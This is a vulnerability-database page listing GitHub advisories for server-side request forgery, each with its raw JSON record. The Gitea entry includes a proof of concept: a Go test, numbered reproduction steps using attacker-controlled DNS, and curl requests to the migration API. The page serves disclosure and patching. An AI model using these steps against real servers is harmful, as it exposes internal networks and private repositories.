Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

4755 vulnerabilities reference this CWE, most recent first.

GHSA-GWQM-GX6R-H4CX

Vulnerability from github – Published: 2026-04-13 21:30 – Updated: 2026-04-13 21:30
VLAI
Details

A weakness has been identified in DbGate up to 7.1.4. The impacted element is the function apiServerUrl1 of the file packages/rest/src/openApiDriver.ts of the component REST/GraphQL. This manipulation causes server-side request forgery. The attack may be initiated remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.

Severity
6.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
2.1 (Low)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-6215"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-13T20:16:47Z",
    "severity": "MODERATE"
  },
  "details": "A weakness has been identified in DbGate up to 7.1.4. The impacted element is the function apiServerUrl1 of the file packages/rest/src/openApiDriver.ts of the component REST/GraphQL. This manipulation causes server-side request forgery. The attack may be initiated remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-gwqm-gx6r-h4cx",
  "modified": "2026-04-13T21:30:44Z",
  "published": "2026-04-13T21:30:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6215"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/785836"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/357134"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/357134/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-GX3V-WXFJ-8H24

Vulnerability from github – Published: 2026-05-05 18:33 – Updated: 2026-05-11 16:23
VLAI
Summary
Eclipse BaSyx Java Server SDK vulnerable to Server-Side Request Forgery
Details

In Eclipse BaSyx Java Server SDK versions prior to 2.0.0-milestone-10, the Operation Delegation feature fails to validate the destination URI of delegated requests. An unauthenticated remote attacker can exploit this design flaw to force the BaSyx server to execute blind HTTP POST requests to arbitrary internal or external targets. This allows an attacker to bypass network segmentation and pivot into isolated internal IT/OT infrastructure or target Cloud Metadata services (IMDS).

Severity
8.6 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.eclipse.basyx:basyx.sdk"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.0-milestone-10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-7412"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-11T16:23:04Z",
    "nvd_published_at": "2026-05-05T16:16:18Z",
    "severity": "HIGH"
  },
  "details": "In Eclipse BaSyx Java Server SDK versions prior to 2.0.0-milestone-10, the Operation Delegation feature fails to validate the destination URI of delegated requests. An unauthenticated remote attacker can exploit this design flaw to force the BaSyx server to execute blind HTTP POST requests to arbitrary internal or external targets. This allows an attacker to bypass network segmentation and pivot into isolated internal IT/OT infrastructure or target Cloud Metadata services (IMDS).",
  "id": "GHSA-gx3v-wxfj-8h24",
  "modified": "2026-05-11T16:23:05Z",
  "published": "2026-05-05T18:33:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-7412"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/eclipse-basyx/basyx-java-sdk"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.eclipse.org/security/cve-assignment/-/issues/103"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.eclipse.org/security/vulnerability-reports/-/issues/423"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Eclipse BaSyx Java Server SDK vulnerable to Server-Side Request Forgery"
}

GHSA-GXG4-2RRR-JHC7

Vulnerability from github – Published: 2026-06-18 20:11 – Updated: 2026-06-18 20:11
VLAI
Summary
OpenClaw: Hostname checks could treat trailing-dot hosts inconsistently
Details

Summary

Hostname checks could treat trailing-dot hosts inconsistently. In affected versions, a request path that accepts model- or workspace-derived URLs could present the same hostname with a trailing dot and avoid a blocklist comparison.

This advisory is scoped to the named feature and configuration. It does not change OpenClaw's trusted-operator model: authenticated Gateway operators, installed plugins, and intentional local execution surfaces remain trusted unless a separate policy, approval, allowlist, sandbox, or auth boundary is crossed.

Impact

When the affected feature is enabled and reachable, this could reach a destination that the operator expected the hostname policy to block. Practical impact depends on the operator's configuration and whether lower-trust input can reach that path.

Patched Versions

The first stable patched version is 2026.5.26.

Mitigations

keep private-network and metadata destinations blocked at the proxy or network layer until patched. As general hardening, keep channel and tool allowlists narrow, avoid sharing one Gateway between mutually untrusted users, and disable the affected feature when it is not needed.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
6.0 (Medium)
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2026.5.22"
      },
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.5.26"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-53859"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T20:11:31Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nHostname checks could treat trailing-dot hosts inconsistently. In affected versions, a request path that accepts model- or workspace-derived URLs could present the same hostname with a trailing dot and avoid a blocklist comparison.\n\nThis advisory is scoped to the named feature and configuration. It does not change OpenClaw\u0027s trusted-operator model: authenticated Gateway operators, installed plugins, and intentional local execution surfaces remain trusted unless a separate policy, approval, allowlist, sandbox, or auth boundary is crossed.\n\n### Impact\n\nWhen the affected feature is enabled and reachable, this could reach a destination that the operator expected the hostname policy to block. Practical impact depends on the operator\u0027s configuration and whether lower-trust input can reach that path.\n\n### Patched Versions\n\nThe first stable patched version is `2026.5.26`.\n\n### Mitigations\n\nkeep private-network and metadata destinations blocked at the proxy or network layer until patched. As general hardening, keep channel and tool allowlists narrow, avoid sharing one Gateway between mutually untrusted users, and disable the affected feature when it is not needed.",
  "id": "GHSA-gxg4-2rrr-jhc7",
  "modified": "2026-06-18T20:11:31Z",
  "published": "2026-06-18T20:11:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-gxg4-2rrr-jhc7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53859"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-hostname-validation-bypass-via-trailing-dot-inconsistency"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw: Hostname checks could treat trailing-dot hosts inconsistently"
}

GHSA-GXHF-XJ94-X8R3

Vulnerability from github – Published: 2024-07-09 18:30 – Updated: 2024-07-09 18:30
VLAI
Details

Microsoft SharePoint Server Information Disclosure Vulnerability

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-32987"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-09T17:15:17Z",
    "severity": "HIGH"
  },
  "details": "Microsoft SharePoint Server Information Disclosure Vulnerability",
  "id": "GHSA-gxhf-xj94-x8r3",
  "modified": "2024-07-09T18:30:50Z",
  "published": "2024-07-09T18:30:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32987"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-32987"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GXVV-45F6-3CH8

Vulnerability from github – Published: 2025-12-16 15:30 – Updated: 2026-02-28 02:15
VLAI
Summary
openshift-apiserver: SSRF via Missing IP/Network-Range Validation in User-Supplied Image References
Details

A flaw was found in ose-openshift-apiserver. This vulnerability allows internal network enumeration, service discovery, limited information disclosure, and potential Denial of Service (DoS) through Server-Side Request Forgery (SSRF) due to missing IP address and network-range validation when processing user-supplied image references.

Severity
8.5 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/openshift/openshift-apiserver"
      },
      "versions": [
        "4.0.0-alpha.0"
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/openshift/openshift-apiserver"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.0.0-alpha.0.0.20260130163947-0eb84cd66658"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-14443"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-28T02:15:59Z",
    "nvd_published_at": "2025-12-16T13:15:56Z",
    "severity": "HIGH"
  },
  "details": "A flaw was found in ose-openshift-apiserver. This vulnerability allows internal network enumeration, service discovery, limited information disclosure, and potential Denial of Service (DoS) through Server-Side Request Forgery (SSRF) due to missing IP address and network-range validation when processing user-supplied image references.",
  "id": "GHSA-gxvv-45f6-3ch8",
  "modified": "2026-02-28T02:15:59Z",
  "published": "2025-12-16T15:30:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-14443"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openshift/openshift-apiserver/pull/591"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openshift/openshift-apiserver/pull/599"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2025-14443"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2420964"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openshift/openshift-apiserver"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "openshift-apiserver: SSRF via Missing IP/Network-Range Validation in User-Supplied Image References"
}

GHSA-GXXM-RHPX-J39M

Vulnerability from github – Published: 2025-07-10 18:31 – Updated: 2025-11-05 00:31
VLAI
Details

Server-Side Request Forgery (SSRF) in Apache HTTP Server on Windows allows to potentially leak NTLM hashes to a malicious server via  mod_rewrite or apache expressions that pass unvalidated request input.

This issue affects Apache HTTP Server: from 2.4.0 through 2.4.63.

Note:  The Apache HTTP Server Project will be setting a higher bar for accepting vulnerability reports regarding SSRF via UNC paths.

The server offers limited protection against administrators directing the server to open UNC paths. Windows servers should limit the hosts they will connect over via SMB based on the nature of NTLM authentication.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-43394"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-10T17:15:46Z",
    "severity": "HIGH"
  },
  "details": "Server-Side Request Forgery (SSRF)\u00a0in Apache HTTP Server on Windows allows to potentially leak NTLM hashes to a malicious server via\u00a0\nmod_rewrite or apache expressions that pass unvalidated request input.\n\nThis issue affects Apache HTTP Server: from 2.4.0 through 2.4.63.\n\nNote: \u00a0The Apache HTTP Server Project will be setting a higher bar for accepting vulnerability reports regarding SSRF via UNC paths. \n\nThe server offers limited protection against administrators directing the server to open UNC paths.\nWindows servers should limit the hosts they will connect over via SMB based on the nature of NTLM authentication.",
  "id": "GHSA-gxxm-rhpx-j39m",
  "modified": "2025-11-05T00:31:20Z",
  "published": "2025-07-10T18:31:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-43394"
    },
    {
      "type": "WEB",
      "url": "https://httpd.apache.org/security/vulnerabilities_24.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/08/msg00009.html"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2025/07/10/2"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2025/07/10/5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H254-G997-685C

Vulnerability from github – Published: 2025-03-20 12:32 – Updated: 2025-03-21 16:38
VLAI
Summary
FastChat Server-Side Request Forgery vulnerability
Details

A Server-Side Request Forgery (SSRF) vulnerability exists in lm-sys/fastchat version 0.2.36. The vulnerability is present in the /queue/join? endpoint, where insufficient validation of the path parameter allows an attacker to send crafted requests. This can lead to unauthorized access to internal networks or the AWS metadata endpoint, potentially exposing sensitive data and compromising internal servers.

Severity
7.5 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "fschat"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.2.36"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-11603"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-21T16:38:28Z",
    "nvd_published_at": "2025-03-20T10:15:25Z",
    "severity": "HIGH"
  },
  "details": "A Server-Side Request Forgery (SSRF) vulnerability exists in lm-sys/fastchat version 0.2.36. The vulnerability is present in the `/queue/join?` endpoint, where insufficient validation of the path parameter allows an attacker to send crafted requests. This can lead to unauthorized access to internal networks or the AWS metadata endpoint, potentially exposing sensitive data and compromising internal servers.",
  "id": "GHSA-h254-g997-685c",
  "modified": "2025-03-21T16:38:28Z",
  "published": "2025-03-20T12:32:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-11603"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lm-sys/FastChat"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/89f1158d-4a75-4000-a1bd-f82dd1a62bff"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "FastChat Server-Side Request Forgery vulnerability"
}

GHSA-H2JG-46XV-C74W

Vulnerability from github – Published: 2022-05-24 19:11 – Updated: 2022-05-24 19:11
VLAI
Details

SSRF in URL file upload in Baserow <1.1.0 allows remote authenticated users to retrieve files from the internal server network exposed over HTTP by inserting an internal address.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-22255"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-08-20T18:15:00Z",
    "severity": "MODERATE"
  },
  "details": "SSRF in URL file upload in Baserow \u003c1.1.0 allows remote authenticated users to retrieve files from the internal server network exposed over HTTP by inserting an internal address.",
  "id": "GHSA-h2jg-46xv-c74w",
  "modified": "2022-05-24T19:11:48Z",
  "published": "2022-05-24T19:11:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22255"
    },
    {
      "type": "WEB",
      "url": "https://baserow.io/blog/march-2021-release-of-baserow"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/bramw/baserow/-/issues/370"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/cves/-/blob/master/2021/CVE-2021-22255.json"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-H2WR-WXXV-X8P9

Vulnerability from github – Published: 2025-09-26 21:30 – Updated: 2025-09-26 21:30
VLAI
Details

A security flaw has been discovered in Tencent WeKnora 0.1.0. This impacts the function testEmbeddingModel of the file /api/v1/initialization/embedding/test. The manipulation of the argument baseUrl results in server-side request forgery. The attack can be launched remotely. The exploit has been released to the public and may be exploited. It is advisable to upgrade the affected component. The vendor responds: "We have confirmed that the issue mentioned in the report does not exist in the latest releases".

Severity
7.3 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
5.5 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-11046"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-26T21:15:35Z",
    "severity": "MODERATE"
  },
  "details": "A security flaw has been discovered in Tencent WeKnora 0.1.0. This impacts the function testEmbeddingModel of the file /api/v1/initialization/embedding/test. The manipulation of the argument baseUrl results in server-side request forgery. The attack can be launched remotely. The exploit has been released to the public and may be exploited. It is advisable to upgrade the affected component. The vendor responds: \"We have confirmed that the issue mentioned in the report does not exist in the latest releases\".",
  "id": "GHSA-h2wr-wxxv-x8p9",
  "modified": "2025-09-26T21:30:30Z",
  "published": "2025-09-26T21:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11046"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Hebing123/cve/issues/90"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.326083"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.326083"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.658926"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-H2X6-G7Q6-344V

Vulnerability from github – Published: 2026-07-21 20:37 – Updated: 2026-07-21 20:37
VLAI
Summary
Gitea: Repository migration SSRF via multi-answer DNS allow-list bypass
Details

Summary

Gitea's repository migration URL validation can be bypassed when a migration hostname resolves to multiple IP addresses. The validation logic accepts the destination if any resolved IP is allowed, even if another resolved IP is loopback, private, or otherwise blocked. The later git clone operation resolves the hostname again outside of that validation decision, so it can connect to the internal address.

An authenticated low-privilege user who can create repository migrations can use an attacker-controlled DNS name to make Gitea connect to internal-only Git services and import their contents into a repository controlled by the attacker.

Details

The issue is in services/migrations/migrate.go, in the migration allow/block-list check.

Current logic computes whether any resolved IP is allowed:

var ipAllowed bool
var ipBlocked bool
for _, addr := range addrList {
    ipAllowed = ipAllowed || allowList.MatchIPAddr(addr)
    ipBlocked = ipBlocked || blockList.MatchIPAddr(addr)
}

Then, when an allow-list is active, the host is accepted if the hostname matches or ipAllowed is true:

if !allowList.IsEmpty() {
    if !allowList.MatchHostName(hostName) && !ipAllowed {
        return &git.ErrInvalidCloneAddr{Host: hostName, IsPermissionDenied: true}
    }
}

This means a hostname resolving to both:

  • an allowed public IP, e.g. 1.2.3.4
  • a blocked internal IP, e.g. 127.0.0.1

passes validation because the public IP sets ipAllowed = true.

The actual repository import is later performed by git clone --mirror via MigrateRepositoryGitData / gitrepo.CloneExternalRepo. That git subprocess performs its own DNS resolution and is not tied to the specific IP set that was validated earlier. If the hostname resolves, rotates, or is re-bound to the internal address at clone time, Gitea can connect to a destination the migration filter would reject if supplied directly.

The direct internal URL is correctly blocked, but the multi-answer hostname is accepted.

PoC

I verified the vulnerable predicate locally against Gitea checkout:

e8654c7e062431a521636703f47339cde64644fd

using Dockerized Go tests with golang:1.26.4.

The local test proves:

  • checkByAllowBlockList("loopback.example.test", [127.0.0.1]) is rejected.
  • checkByAllowBlockList("mixed.example.test", [1.2.3.4, 127.0.0.1]) is accepted.

Minimal reproducer at the validation layer:

func TestMigrationMultiAnswerAnyAllowed(t *testing.T) {
    old := setting.Migrations
    t.Cleanup(func() { setting.Migrations = old })

    setting.Migrations.AllowedDomains = ""
    setting.Migrations.BlockedDomains = ""
    setting.Migrations.AllowLocalNetworks = false
    require.NoError(t, Init())

    err := checkByAllowBlockList("mixed.example.test", []net.IP{
        net.ParseIP("1.2.3.4"),
        net.ParseIP("127.0.0.1"),
    })
    require.NoError(t, err, "mixed public+loopback answers should currently pass")

    err = checkByAllowBlockList("loopback.example.test", []net.IP{
        net.ParseIP("127.0.0.1"),
    })
    require.Error(t, err, "loopback-only answer should be rejected")
}

To reproduce end-to-end:

  1. Run Gitea with repository migration enabled and ALLOW_LOCALNETWORKS = false.
  2. Create a normal non-admin user that can create repositories.
  3. Run an internal Git HTTP service reachable only from the Gitea server, for example on 127.0.0.1:18082.
  4. Configure an attacker-controlled hostname so that DNS can return both a public address and 127.0.0.1, or can return a public address during Gitea's pre-flight validation and 127.0.0.1 during the later git clone.
  5. Confirm the direct internal migration is rejected:
curl -X POST http://GITEA/api/v1/repos/migrate \
  -H "Authorization: token USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "clone_addr": "http://127.0.0.1:18082/repo.git",
    "repo_name": "direct-internal",
    "service": "git",
    "private": true
  }'

Expected direct result:

{"message":"You can not import from disallowed hosts."}
  1. Start a migration from the attacker-controlled multi-answer hostname:
curl -X POST http://GITEA/api/v1/repos/migrate \
  -H "Authorization: token USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "clone_addr": "http://mixed.example.test:18082/repo.git",
    "repo_name": "multidns-ssrf",
    "service": "git",
    "private": true
  }'

Expected vulnerable result:

  • The migration request is accepted.
  • The git subprocess can connect to the internal address.
  • Internal repository contents are imported into the attacker's new Gitea repository.

Impact

This is a server-side request forgery in repository migration.

An authenticated user with permission to create repository migrations can make the Gitea server connect to internal-only network resources that are normally blocked by the migration SSRF filter. If the internal service is a Git repository or Git-compatible HTTP endpoint, its contents can be imported into an attacker-controlled repository and exfiltrated.

Potentially impacted resources include:

  • internal Git repositories
  • localhost-only services
  • private network source-control services
  • metadata or internal infrastructure endpoints if reachable and compatible with the request path

The direct internal destination is rejected, but a multi-answer or rebindable DNS name can pass validation and later resolve to the internal address during the clone operation.

Suggested fix

The migration allow/block-list check should fail closed for multi-answer DNS:

  • reject if any resolved IP is blocked
  • require all resolved IPs to be allowed when an allow-list is active
  • treat an empty resolution result as not IP-allowed
  • ideally enforce the same destination policy at connection time, not only during pre-flight validation, to avoid DNS TOCTOU between validation and git clone

For example, instead of ipAllowed = ipAllowed || allowList.MatchIPAddr(addr), initialize ipAllowed to len(addrList) > 0 and combine with logical AND:

ipAllowed := len(addrList) > 0
ipBlocked := false
for _, addr := range addrList {
    ipAllowed = ipAllowed && allowList.MatchIPAddr(addr)
    ipBlocked = ipBlocked || blockList.MatchIPAddr(addr)
}
Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "code.gitea.io/gitea"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.27.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-58442"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-21T20:37:45Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nGitea\u0027s repository migration URL validation can be bypassed when a migration hostname resolves to multiple IP addresses. The validation logic accepts the destination if **any** resolved IP is allowed, even if another resolved IP is loopback, private, or otherwise blocked. The later `git clone` operation resolves the hostname again outside of that validation decision, so it can connect to the internal address.\n\nAn authenticated low-privilege user who can create repository migrations can use an attacker-controlled DNS name to make Gitea connect to internal-only Git services and import their contents into a repository controlled by the attacker.\n\n### Details\n\nThe issue is in `services/migrations/migrate.go`, in the migration allow/block-list check.\n\nCurrent logic computes whether any resolved IP is allowed:\n\n```go\nvar ipAllowed bool\nvar ipBlocked bool\nfor _, addr := range addrList {\n    ipAllowed = ipAllowed || allowList.MatchIPAddr(addr)\n    ipBlocked = ipBlocked || blockList.MatchIPAddr(addr)\n}\n```\n\nThen, when an allow-list is active, the host is accepted if the hostname matches or `ipAllowed` is true:\n\n```go\nif !allowList.IsEmpty() {\n    if !allowList.MatchHostName(hostName) \u0026\u0026 !ipAllowed {\n        return \u0026git.ErrInvalidCloneAddr{Host: hostName, IsPermissionDenied: true}\n    }\n}\n```\n\nThis means a hostname resolving to both:\n\n- an allowed public IP, e.g. `1.2.3.4`\n- a blocked internal IP, e.g. `127.0.0.1`\n\npasses validation because the public IP sets `ipAllowed = true`.\n\nThe actual repository import is later performed by `git clone --mirror` via `MigrateRepositoryGitData` / `gitrepo.CloneExternalRepo`. That git subprocess performs its own DNS resolution and is not tied to the specific IP set that was validated earlier. If the hostname resolves, rotates, or is re-bound to the internal address at clone time, Gitea can connect to a destination the migration filter would reject if supplied directly.\n\nThe direct internal URL is correctly blocked, but the multi-answer hostname is accepted.\n\n### PoC\n\nI verified the vulnerable predicate locally against Gitea checkout:\n\n```text\ne8654c7e062431a521636703f47339cde64644fd\n```\n\nusing Dockerized Go tests with `golang:1.26.4`.\n\nThe local test proves:\n\n- `checkByAllowBlockList(\"loopback.example.test\", [127.0.0.1])` is rejected.\n- `checkByAllowBlockList(\"mixed.example.test\", [1.2.3.4, 127.0.0.1])` is accepted.\n\nMinimal reproducer at the validation layer:\n\n```go\nfunc TestMigrationMultiAnswerAnyAllowed(t *testing.T) {\n    old := setting.Migrations\n    t.Cleanup(func() { setting.Migrations = old })\n\n    setting.Migrations.AllowedDomains = \"\"\n    setting.Migrations.BlockedDomains = \"\"\n    setting.Migrations.AllowLocalNetworks = false\n    require.NoError(t, Init())\n\n    err := checkByAllowBlockList(\"mixed.example.test\", []net.IP{\n        net.ParseIP(\"1.2.3.4\"),\n        net.ParseIP(\"127.0.0.1\"),\n    })\n    require.NoError(t, err, \"mixed public+loopback answers should currently pass\")\n\n    err = checkByAllowBlockList(\"loopback.example.test\", []net.IP{\n        net.ParseIP(\"127.0.0.1\"),\n    })\n    require.Error(t, err, \"loopback-only answer should be rejected\")\n}\n```\n\nTo reproduce end-to-end:\n\n1. Run Gitea with repository migration enabled and `ALLOW_LOCALNETWORKS = false`.\n2. Create a normal non-admin user that can create repositories.\n3. Run an internal Git HTTP service reachable only from the Gitea server, for example on `127.0.0.1:18082`.\n4. Configure an attacker-controlled hostname so that DNS can 